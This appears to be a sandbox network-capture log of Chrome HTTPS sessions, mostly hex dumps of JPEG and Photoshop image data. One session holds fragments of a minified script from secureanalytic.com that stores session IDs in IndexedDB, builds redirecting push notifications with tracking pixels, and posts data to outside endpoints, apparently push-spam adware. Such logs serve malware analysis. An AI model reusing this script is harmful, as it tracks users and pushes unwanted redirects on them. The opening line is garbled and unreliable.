y52uB7O8]CGMqsW-oNf]/*3;dbY,:WU~E&IUecPe4w+0U2f?t,Yy}6
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 7e e0 c6 97 17 ce b0 9a 65 d8 da fb 91 dc 08 f9 2f 90 6a 6f 5a 6b a7 50 c2 4e bd c1 5d 97 d5 1c 76 b3 0a cc e3 f4 b2 9c 76 93 ce c6 fb 5b fe 72 f3 5c 56 df 99 d4 ab 6b 9f b8 b8 cb dc 0c fb 07 d3 ff 00 3b e8 2e bd bf 59 2e e9 f9 bf 61 7b 0f d9 18 da f6 38 76 0e 6f bf 6b bf ac a4 85 47 76 be 42 48 a1 b5 bd c8 7b 7c 53 ee 1e 2b 05 b9 79 0e 68 75 7e e6 1d 43 82 7f b5 65 f8 15 2d b0 3b bb 87 8a 62 f1 2b 0f ed 99 63 b1 4f f6 bc a3 ac 14 94 ee 6e 1e 29 2c 4f b6 e5 f8 14 92 53 ff d5 f4 9d c1 22 d6 91 a2 1b da 0b 74 e7 b2 85 42 c1 ce a9 29 4f 01 ae d7 85 2d cc 2d 88 50 b8 98 e2 54 5a 5b b6 5d ed 03 92 74 08 5a 69 72 1a 0f b5 0e ec 81 55 4e 7c 4b bb 04 1c 9e a7 4d 2d 25 80 38 02 43 ac 76 8d 69 f3 95 52 bc a7 66 d0 2d d7 63 9d ec 77 01 c0 72 f6 37 e9 6d 42 d0 b6 6b Data Ascii: ~e/joZkPN]vv[r\Vk;.Y.a{8vokGvBH{\|S+yhu~Ce-;b+cOn),OS"tB)O--PTZ[]tZirUN\|KM-%8CviRf-cwr7mBk
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: f9 a0 a7 9a ab ea fd 7e 8b eb 78 97 0e eb 2e ff 00 ab e3 79 11 a2 ec df 0d b4 11 c1 d1 02 fc 76 ef 26 39 09 1b 48 78 0b 3a 41 aa d3 59 d1 8f d3 e0 7b 2d 6e 95 d3 eb a2 ca b2 5b 97 6d 77 d2 43 da c0 f2 dd 41 dd a2 dc ca e9 ad b4 71 a9 ee 3b 78 2a a3 07 1a c6 13 69 db 73 40 88 d0 e9 dd 2e 22 97 d5 71 6e 6e 46 2d 37 b4 c8 b5 8d 76 9e 61 16 17 3b f5 23 28 d9 d2 df 88 eb 3d 43 88 fd ad 27 90 c7 0d cd 6a e8 94 c0 d8 05 61 54 24 4e 89 24 8a 1e 53 ae d6 e6 f5 5d c7 87 b4 2c bb eb 27 20 40 04 b6 bd 03 b4 1a 9f fc c5 6f fd 63 ac 0c 9a 1f fb cd 23 ee 58 8f 3b 6c 71 30 76 86 8d 78 22 4e 8a 0c 9f 32 f1 b3 57 23 11 c4 b6 fa a9 0d b2 b1 16 31 ae d0 87 0f fa 4b 43 1e 5d 85 53 a0 b4 fa 63 43 ce 92 d4 f3 ba 5c c6 6c d0 82 07 73 1d bf 92 89 58 06 96 b3 98 60 fe 28 04 96 0d Data Ascii: ~x.yv&9Hx:AY{-n[mwCAq;x*is@."qnnF-7va;#(=C'jaT$N$S],' @oc#X;lq0vx"N2W#1KC]ScC\lsX`(
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 Data Ascii: gcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 96 00 00 00 96 00 00 01 c4 00 01 08 d8 00 00 10 54 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 Data Ascii: TAdobe_CMAdobed"?
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 24 92 4a 52 49 24 92 9f ff d2 f5 54 92 49 25 29 24 92 49 4a 41 cb c9 ab 13 1a dc 9b 8e da e9 69 7b c9 ec 02 32 a1 d7 28 7e 4f 47 cc c7 af e9 5b 53 9b f2 23 dd ff 00 45 23 b2 45 12 01 ee f3 59 f9 55 65 37 3f 32 86 90 ec 86 54 c2 01 9d 40 70 dc d7 0f de 66 c5 c4 e7 74 a7 5b 71 c8 cb b1 ce 36 c8 14 34 4c 36 36 b7 73 ff 00 79 74 7d 0b 7b 68 ce c7 73 03 29 aa c6 8c 76 4c 9d 8d 6e df 73 8f d2 47 18 75 db 66 e2 60 0e ca 29 48 98 83 d6 9b 11 80 12 23 a0 2f 25 81 f5 77 1d b5 d9 5b 6b 7b c5 a2 0d 8f 86 96 80 77 4d 5b 47 b5 cb 53 a7 74 56 e2 e4 b1 cd 1a 98 12 79 3f d6 fe 52 de 35 55 4b 0b 81 80 06 a9 b1 da c6 16 dd 71 0d 07 56 cf 25 42 6c 9d 4b 38 02 3b 0a 74 6d c7 16 52 d6 3b 88 58 d9 ff 00 56 6b be c7 5d 50 ac 5f 60 87 6e 6c ee 68 fc d3 fc 95 be db 71 ec ae 77 81 Data Ascii: $JRI$TI%)$IJAi{2(~OG[S#E#EYUe7?2T@pft[q64L66syt}{hs)vLnsGuf`)H#/%w[k{wM[GStVy?R5UKqV%BlK8;tmR;XVk]P_`nlhqw
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 66 c1 3e f0 40 6b 3b 9f 06 b7 f9 4b 37 16 b7 92 18 7d ad 76 85 dc fc d7 47 d3 7a 56 1e 31 17 d6 d7 59 6c 69 65 86 63 fa ad fc d4 c2 62 17 81 39 06 d7 d5 be 97 66 25 06 ec 81 19 17 ea 5b fb ad fc ca ff 00 f2 68 7d 63 32 d6 f5 37 56 c1 36 31 ac 70 ad df 42 ca c8 da f1 fc 9b 18 e5 ab 4b a1 80 83 af 75 87 f5 a2 ab 83 6b ce a0 4d b8 fa 96 9d 43 9b f9 ec 28 09 5f d5 32 87 a6 87 47 a2 e8 5d 5d a5 a4 d1 2e ad ba 5d 8c ff 00 a6 c8 fd d5 b9 6f 50 65 61 af e6 a7 68 db 23 49 fd c7 fe eb d7 07 81 6d 79 4d 6e 4e 23 5d 4d ee 60 7b 6c 6f d1 24 7e 6f ef 7f 27 6a e9 7a 77 55 ae dc 71 69 2d 0c 77 b6 de e0 3b f3 eb be a3 ff 00 45 49 09 56 85 ab 28 bb 95 64 32 d1 23 ba 30 2d ee ab 50 28 7b 66 9f 6b 87 61 ab 4f f5 3f 39 5a af 13 d6 6c 87 71 cc 76 52 83 7b 2d 34 cc 06 16 97 76 Data Ascii: f>@k;K7}vGzV1Yliecb9f%[h}c27V61pBKukMC(_2G]].]oPeah#ImyMnN#]M`{lo$~o'jzwUqi-w;EIV(d2#0-P({fkaO?9ZlqvR{-4v
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 89 ac 6f 73 48 d1 d3 ec 95 d8 2f 96 52 53 43 e5 5a 5f a9 d3 2f 96 52 4e 43 f4 67 d6 50 36 63 90 61 c1 c6 07 88 58 07 d5 f5 ac 2c db 3b db a3 b8 fa 2b c4 92 50 e5 f9 97 c7 67 dd 06 e8 24 c0 f0 03 b6 88 94 7d 1d 7f 74 47 e3 b9 78 3a 49 a1 45 f7 26 fe 76 bf eb 29 2f 0d 49 25 3f ff d9 38 42 49 4d 04 21 00 00 00 00 00 57 00 00 00 01 01 00 00 00 0f 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 00 00 14 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 20 00 32 00 30 00 32 00 30 00 00 00 01 00 38 42 49 4d 04 06 00 00 00 00 00 07 00 08 01 01 00 01 01 00 ff e1 0f b6 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 Data Ascii: osH/RSCZ_/RNCgP6caX,;+Pg$}tGx:IE&v)/I%?8BIM!WAdobe PhotoshopAdobe Photoshop 20208BIMhttp://ns.adobe.com/xap/1.0/<?xpacke
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 70 68 6f 74 6f 73 68 6f 70 3a 44 6f 63 75 6d 65 6e 74 41 6e 63 65 73 74 6f 72 73 3e 20 3c 72 64 66 3a 42 61 67 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 30 62 33 36 31 30 36 2d 66 31 36 30 2d 61 63 34 32 2d 62 35 65 35 2d 62 61 62 30 35 65 62 66 61 39 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 33 63 33 66 32 66 2d 35 35 33 31 2d 64 32 34 30 2d 61 38 31 64 2d 62 65 66 62 35 38 39 32 38 33 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 31 37 37 63 39 30 2d 66 30 33 37 2d 32 62 34 63 2d 38 37 30 31 2d 64 33 64 38 64 31 62 63 37 61 39 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 2f Data Ascii: photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:50b36106-f160-ac42-b5e5-bab05ebfa9fd</rdf:li> <rdf:li>adobe:docid:photoshop:533c3f2f-5531-d240-a81d-befb589283dd</rdf:li> <rdf:li>xmp.did:ee177c90-f037-2b4c-8701-d3d8d1bc7a9c</rdf:li> </

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49805	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:44 UTC	482	OUT	GET /scripts/ext/script/64d5p99gj0?url=duennasustentation.online HTTP/1.1 Host: secureanalytic.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:44 UTC	1352	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:44 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: max-age=14400, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 2725 Last-Modified: Wed, 08 Jan 2025 13:59:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SH%2BoN1p14CrsRhCGVQOIE2f%2BCI517suiqw40l%2FqiFfiyG9d%2Bha466xuLYbVFc5Q7fqerB69Pf7gYRRfPsJ5%2FRSSHj9%2FXAurK8tzooUTf3%2BSGEWylU93ZyfrWIhJiZ2HK2LObg5g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-08 14:44:44 UTC	276	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 65 63 66 37 61 30 62 66 35 66 34 33 62 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 30 36 26 6d 69 6e 5f 72 74 74 3d 31 35 39 32 26 72 74 74 5f 76 61 72 3d 36 30 37 26 73 65 6e 74 3d 33 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 36 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 38 33 34 31 37 30 26 63 77 6e 64 3d 31 39 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 37 32 65 64 30 38 39 65 30 39 35 Data Ascii: CF-RAY: 8fecf7a0bf5f43b9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1592&rtt_var=607&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1060&delivery_rate=1834170&cwnd=192&unsent_bytes=0&cid=72ed089e095
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 31 66 35 30 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 61 29 7b 74 72 79 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 3d 45 7d 63 61 74 63 68 28 61 29 7b 7d 45 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 61 29 7b 69 66 28 73 65 6c 66 2e 69 6e 64 65 78 65 64 44 42 29 7b 76 61 72 20 62 3d 47 2e 61 70 70 6c 79 28 73 65 6c 66 2e 69 6e 64 65 78 65 64 44 42 2c 5b 22 70 75 73 68 50 6c 61 74 46 6f 72 6d 44 62 22 2c 32 5d 29 3b 62 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 65 72 72 6f 72 20 64 62 22 2b 62 2e 65 72 72 6f 72 29 2c 61 28 6e 75 6c 6c 29 7d 2c 62 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 2e 72 65 73 75 6c 74 2c 64 3d 63 Data Ascii: 1f50(function(a,b){function c(a){try{console.log=E}catch(a){}E(a)}function d(a){if(self.indexedDB){var b=G.apply(self.indexedDB,["pushPlatFormDb",2]);b.onerror=function(){console.log("error db"+b.error),a(null)},b.onsuccess=function(){var c=b.result,d=c
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 69 28 22 65 78 74 5f 64 62 5f 65 72 72 6f 72 22 2c 61 2c 6d 29 7d 7d 2c 64 2e 67 65 74 28 22 73 65 73 73 69 6f 6e 49 64 73 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 66 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 69 28 22 65 78 74 5f 64 62 5f 65 72 72 6f 72 22 2c 61 2c 6d 29 7d 7d 2c 64 2e 67 65 74 28 22 75 74 6d 48 61 73 68 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 6a 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c Data Ascii: a.target.result.value}catch(a){i("ext_db_error",a,m)}},d.get("sessionIds").onsuccess=function(a){if(a.target.result)try{f=a.target.result.value}catch(a){i("ext_db_error",a,m)}},d.get("utmHash").onsuccess=function(a){if(a.target.result)try{j=a.target.resul
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 29 7b 6c 65 74 20 64 3b 74 72 79 7b 64 3d 46 2e 61 70 70 6c 79 28 74 68 69 73 2c 62 29 7d 63 61 74 63 68 7b 7d 6c 65 74 20 65 3d 62 2e 6d 65 73 73 61 67 65 3b 65 3d 6e 75 6c 6c 21 3d 64 26 26 22 7b 7d 22 21 3d 3d 64 3f 64 3a 6e 75 6c 6c 3d 3d 65 3f 62 3a 65 2b 22 3a 3a 22 2b 62 2e 73 74 61 63 6b 3b 6c 65 74 20 66 3d 22 68 74 74 70 73 3a 2f 2f 65 76 65 6e 74 2e 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 2f 72 65 67 69 73 74 65 72 2f 65 76 65 6e 74 2f 36 34 64 35 31 39 71 6a 67 6a 3f 65 76 65 6e 74 3d 22 2b 75 28 61 29 2b 22 26 65 72 72 6f 72 3d 22 2b 75 28 65 29 2b 22 26 76 65 72 73 69 6f 6e 3d 22 2b 63 3b 66 65 74 63 68 28 66 2c 7b 6d 65 74 68 6f 64 3a 22 67 65 74 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 Data Ascii: ){let d;try{d=F.apply(this,b)}catch{}let e=b.message;e=null!=d&&"{}"!==d?d:null==e?b:e+"::"+b.stack;let f="https://event.secureanalytic.com/register/event/64d519qjgj?event="+u(a)+"&error="+u(e)+"&version="+c;fetch(f,{method:"get",headers:{"Content-type":"
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 3d 22 41 72 72 61 79 22 2c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 3d 22 4f 62 6a 65 63 74 22 2c 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 21 3d 3d 52 65 73 70 6f 6e 73 65 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 21 3d 3d 41 72 72 61 79 26 26 22 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 22 21 3d 3d 62 26 26 22 66 6f 72 45 61 63 68 22 21 3d 3d 62 26 26 22 70 75 73 68 22 21 3d 3d 62 26 26 22 73 74 61 74 75 73 22 21 3d 3d 62 26 26 22 41 72 72 61 79 22 21 3d 3d 61 2e 6e 61 6d 65 26 26 22 52 65 73 70 6f 6e 73 65 22 21 3d 3d 61 2e 6e 61 6d 65 26 26 22 6c 6f 67 22 21 3d 3d 62 29 72 65 74 75 72 6e 22 77 72 69 74 61 62 6c 65 22 69 6e 20 63 Data Ascii: ion(a,b,c){if(Array.prototype.name="Array",Object.prototype.name="Object",a.constructor!==Response&&a.constructor!==Array&&"defineProperty"!==b&&"forEach"!==b&&"push"!==b&&"status"!==b&&"Array"!==a.name&&"Response"!==a.name&&"log"!==b)return"writable"in c
2025-01-08 14:44:44 UTC	1369	IN	Data Raw: 74 20 66 3d 7b 74 69 74 6c 65 3a 63 2e 74 69 74 6c 65 2c 62 6f 64 79 3a 63 2e 6d 65 73 73 61 67 65 2c 74 61 67 3a 63 2e 74 61 67 2c 72 65 6e 6f 74 69 66 79 3a 63 2e 72 65 6e 6f 74 69 66 79 2c 69 63 6f 6e 3a 63 2e 69 63 6f 6e 2c 62 61 64 67 65 3a 63 2e 62 61 64 67 65 2c 72 65 71 75 69 72 65 49 6e 74 65 72 61 63 74 69 6f 6e 3a 21 30 2c 61 63 74 69 6f 6e 73 3a 64 2c 64 61 74 61 3a 7b 75 72 6c 3a 63 2e 72 65 64 69 72 65 63 74 2c 69 42 62 3a 21 30 2c 63 49 64 3a 63 2e 63 61 6d 70 61 69 67 6e 49 64 2c 70 73 49 64 3a 63 2e 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 2c 61 70 69 49 64 3a 63 2e 61 70 69 49 64 2c 70 69 78 65 6c 73 3a 63 2e 70 69 78 65 6c 73 2c 70 69 78 65 6c 56 61 6c 75 65 73 3a 63 2e 70 69 78 65 6c 56 61 6c 75 65 73 2c 72 65 74 75 72 6e Data Ascii: t f={title:c.title,body:c.message,tag:c.tag,renotify:c.renotify,icon:c.icon,badge:c.badge,requireInteraction:!0,actions:d,data:{url:c.redirect,iBb:!0,cId:c.campaignId,psId:c.pushSubscriptionId,apiId:c.apiId,pixels:c.pixels,pixelValues:c.pixelValues,return
2025-01-08 14:44:44 UTC	1179	IN	Data Raw: 64 73 2d 61 70 69 2f 65 78 74 2d 64 61 74 61 2f 22 2b 22 38 37 65 39 39 37 37 32 65 37 64 39 34 64 66 31 39 37 63 35 36 37 37 38 33 35 64 39 31 33 35 65 22 2c 7b 6d 65 74 68 6f 64 3a 22 70 6f 73 74 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 72 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 64 28 61 2c 72 2e 75 74 6d 48 61 73 68 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 63 28 61 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 28 61 29 2c 69 28 22 65 78 74 5f 65 72 72 6f 72 5f 66 65 74 63 68 69 6e 67 5f 70 75 73 68 22 Data Ascii: ds-api/ext-data/"+"87e99772e7d94df197c5677835d9135e",{method:"post",headers:{"Content-type":"application/json"},body:JSON.stringify(r)}).then(function(a){return d(a,r.utmHash)}).then(function(a){a&&c(a)}).catch(function(a){c(a),i("ext_error_fetching_push"
2025-01-08 14:44:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49807	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:44 UTC	428	OUT	GET /images/comm_pic_2.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:45 UTC	1057	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Type: image/jpeg Content-Length: 75733 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2957-127d5" expires: Wed, 08 Jan 2025 14:44:44 GMT last-modified: Tue, 07 Jan 2025 13:17:11 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eIhIwbfET7tzG%2Fk9lfc0EOVc%2Fw6CpZcoYm5J0TtOBIEMWh6ihqMi0OyhpQKSzxU%2Fa3lPBya7XYfmEvLuFwIqx%2BZFIxYAclJGEr%2BXrkYO9CtMdBbwkLXEoqiRQWtjmgmw81%2Bcmvh0Me9u%2Bsxv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7a14d3d80df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&min_rtt=1642&rtt_var=628&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1006&delivery_rate=1724748&cwnd=215&unsent_bytes=0&cid=c5a4dd079dd71a40&ts=924&x=0"
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: ff d8 ff e1 12 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 01 5e 00 00 01 01 00 03 00 00 00 01 00 ed 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 37 3a 32 35 20 32 32 3a 31 33 3a 32 32 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ZExifMM*^(12i ''Adobe Photoshop 21.0 (Windows)2023:07:25 22:13:220
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 5f ed 0b 9c ab ff 00 cf 3e a9 f6 af 5f ec 18 3e bf fa 7f 4a c8 fe b4 ef dd bf ff 00 04 43 db 9f 82 ee 31 b5 6a ff 00 ff d0 e6 e9 13 73 98 4c 4b 4f 81 e3 fa c1 ca 6f a9 a4 96 8b 00 78 d6 0b 58 62 7c 5b b4 22 e6 e3 1c 4e aa fa 0f 35 da fa cf c8 ba b4 17 d0 e3 94 db c1 80 1b b4 8e e4 ea 9f 98 d4 b7 ad 2c 79 ae c4 2e 3b 5e b4 d4 23 33 7b 98 d6 31 c5 91 3e c6 70 7e 89 f7 47 d2 53 a5 8f 71 73 2f 63 6b 78 01 c0 06 30 cb 4f b6 78 3f 9c 8a d7 83 99 63 01 92 2b 68 77 c4 39 df f9 35 58 b8 d5 99 4b 8b 6c 6b 1e 0d 7f a5 3b 8e a7 b7 b9 ff 00 9d b1 33 88 9d 28 03 c3 c5 e3 b2 ee 10 35 b2 45 d2 5a 2a 36 b5 db c3 1a e6 bd cc 00 56 d8 d3 44 31 fd 10 5c 59 5f a8 e3 b5 ac f4 c4 12 5d b1 58 b2 c1 53 ab 6f 1e ad 9b 4f c4 82 67 fc ed aa 2f 00 e4 53 50 d1 b5 ee b9 c3 cf e8 b3 fe Data Ascii: _>_>JC1jsLKOoxXb\|["N5,y.;^#3{1>p~GSqs/ckx0Ox?c+hw95XKlk;3(5EZ*6VD1\Y_]XSoOg/SP
